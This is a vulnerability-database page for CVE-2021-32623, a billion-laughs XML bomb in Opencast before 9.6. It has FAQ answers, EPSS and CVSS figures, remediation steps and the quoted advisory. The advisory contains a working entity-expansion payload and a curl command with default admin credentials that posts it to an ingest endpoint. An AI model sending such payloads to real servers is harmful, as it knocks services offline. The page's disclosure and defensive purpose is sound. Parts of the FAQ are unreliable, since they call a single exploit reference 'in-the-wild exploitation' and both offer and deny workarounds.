How severe is CVE-2021-32623?

CVE-2021-32623 has a CVSS score of 6.5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by CVE-2021-32623?

CVE-2021-32623 affects the following packages: org.opencastproject:opencast-kernel (Maven). Ecosystems affected: Maven.

How do I fix CVE-2021-32623?

Update org.opencastproject:opencast-kernel to 9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-32623 is resolved across your whole dependency graph.

How do I detect CVE-2021-32623 in my Maven dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.opencastproject:opencast-kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2021-32623 if there is no patch (or I can't update yet)?

Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Is CVE-2021-32623 actively exploited in the wild?

Yes. There are 1 known exploit references for CVE-2021-32623, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for CVE-2021-32623?

CVE-2021-32623 has an EPSS (Exploit Prediction Scoring System) score of 1.3%, placing it in the 69th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2021-32623?

CVE-2021-32623 is classified as CWE-776 (CWE-776). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2021-32623 published, and has it been updated?

CVE-2021-32623 was published on June 16, 2021 and was last updated on October 20, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

☕

☕ Maven

Not in CISA KEV

MEDIUM severity

CVE-2021-32623 — opencast-kernel

MEDIUMFix: opencast/opencast@8ae27da

CVE-2021-32623 is a medium-severity (CVSS 6.5) CWE-776 vulnerability in org.opencastproject:opencast-kernel. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.opencastproject:opencast-kernel — see the affected versions and patch details below.

Billion laughs attack (XML bomb)

Also known asGHSA-9gwx-9cwp-5c2m

Published

Jun 16, 2021

Updated

Oct 20, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗

1.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs69th percentile — riskier than 69% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

☕org.opencastproject:opencast-kernel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

Billion laughs attack explained
For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________

For more information

If you have any questions or comments about this advisory:

Open an issue in our issue tracker
Email us at [email protected]

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
☕Maven	`org.opencastproject:opencast-kernel`	all versions	9.6`org.opencastproject:opencast-kernel:9.6`

Affected Products

1 product · 1 configurations

Application

opencastapereo

< 9.6

range

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Opencast is a free and open source solution for automated video capture …

github.comNVDJun 2021

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.opencastproject:opencast-kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.opencastproject:opencast-kernel to 9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-32623 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Impact Opencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request. Consider an XML file (`createMediaPackage.xml`) like this: ```xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE lolz [ <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown